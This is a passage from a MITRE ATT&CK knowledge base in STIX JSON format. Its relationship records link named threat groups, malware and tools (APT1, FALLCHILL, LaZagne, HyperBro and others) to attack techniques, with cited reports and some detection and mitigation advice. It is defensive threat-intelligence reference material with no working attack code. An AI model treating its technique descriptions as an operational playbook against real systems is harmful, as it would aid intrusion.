2023)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy Komplex Trojan","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}],"modified":"2020-01-17T19:50:01.326Z","description":"The [Komplex](https://attack.mitre.org/software/S0162) trojan supports file deletion.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT FALLCHILL Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.309Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) can delete malware and associated artifacts from the victim.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.860Z","description":"(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a","type":"relationship","created":"2017-05-31T21:33:27.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.335Z","description":"The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used pass the hash.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b3c27ed-0129-48bf-8c79-e86d73e5b212","created":"2020-11-10T18:04:03.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.649Z","description":"(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b455b4a-5295-4ef0-9908-44468661718f","created":"2023-03-31T17:33:36.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:26:58.368Z","description":"Monitor for the addition of network provider Registry keys (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\\NetworkProvider`).","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b4aaacf-d721-4bad-a64e-37d48c6b847d","created":"2022-09-16T21:59:29.576Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:59:29.576Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used batch files that reduced their fingerprint on a compromised system by deleting malware-related files.(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b4b4665-530f-4b8c-b090-48ae99eae905","type":"relationship","created":"2019-07-09T17:42:45.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:52:16.107Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload.(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b4dc8f1-51c3-41bb-82a7-a877e5618ab7","type":"relationship","created":"2021-06-22T14:30:48.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T14:30:48.989Z","description":"[FYAnti](https://attack.mitre.org/software/S0628) can download additional payloads to a compromised host.(Citation: Securelist APT10 March 2021)\t ","relationship_type":"uses","source_ref":"malware--434ba392-ebdc-488b-b1ef-518deea65774","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.690Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.(Citation: FinFisher Citation)(Citation: Elastic Process Injection July 2017)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf","description":"Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.","source_name":"RSA2017 Detect and Respond Adair"}],"modified":"2021-06-16T15:46:43.222Z","description":"[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.(Citation: RSA2017 Detect and Respond Adair)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b523bd9-ffc2-4525-a08c-4500bfcb2fed","type":"relationship","created":"2019-07-18T21:12:51.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.779Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b5d1788-c59b-4e84-97b0-b109df608619","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.863Z","description":"The net view \\\\remotesystem and net share commands in [Net](https://attack.mitre.org/software/S0039) can be used to find shared drives and directories on remote and local systems respectively.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b689978-c74b-48e6-8d5e-73b3a6a6ea9d","type":"relationship","created":"2021-03-25T13:53:09.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.838Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Python-based implants to interact with compromised hosts.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b6a298e-f389-412e-8ff1-27028baabccc","created":"2023-10-03T19:38:43.027Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:38:43.027Z","description":"(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b6f4d0d-352f-4e0f-8a7d-5b843a21295a","type":"relationship","created":"2019-06-28T14:58:02.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.736Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) exfiltrates data over its email C2 channel.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2019-07-14T21:15:55.620Z","description":"(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b726298-74dc-4f8a-b58d-f623bc645124","type":"relationship","created":"2019-06-24T13:44:34.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T21:51:46.288Z","description":"Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3b7284e5-5e4e-41bc-9e69-e37f3db66021","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections associated with processes performing collection activity, especially those involving abnormal/untrusted hosts. ","modified":"2022-04-12T13:10:54.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b72eb79-c499-4f2a-b6aa-464bb3bbd42d","created":"2023-09-06T15:57:28.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.637Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used an expired open-source X.509 certificate for testing in the OpenSSL repository, to connect to actor-controlled C2 servers.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b79c4a0-aaa4-430d-9f15-4acbc5e1b0a3","created":"2024-07-01T21:06:31.454Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:06:31.454Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) has the ability to retrieve directory listings.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3b7d8e64-9f14-486a-aae3-170834dac98c","created":"2024-05-23T22:54:36.708Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:54:36.708Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) engages in mass collection from compromised systems during intrusions.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b805001-baef-4237-8c26-922aeac6af86","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly constructed network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b806ebb-0c5d-4ba8-adf8-b215a59f81b0","type":"relationship","created":"2019-06-24T16:20:44.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2019-06-24T16:21:14.002Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b81ee4f-c583-477f-b2e4-d1801da7bac8","type":"relationship","created":"2020-09-24T14:35:41.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.601Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can identify the MAC address on the target computer.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b8633ab-4fa5-4310-bd0f-80964ecfae41","type":"relationship","created":"2020-02-20T21:08:52.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T21:08:52.969Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b86d8fe-5677-4516-bf77-898e4da6171f","type":"relationship","created":"2019-07-19T16:38:05.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"C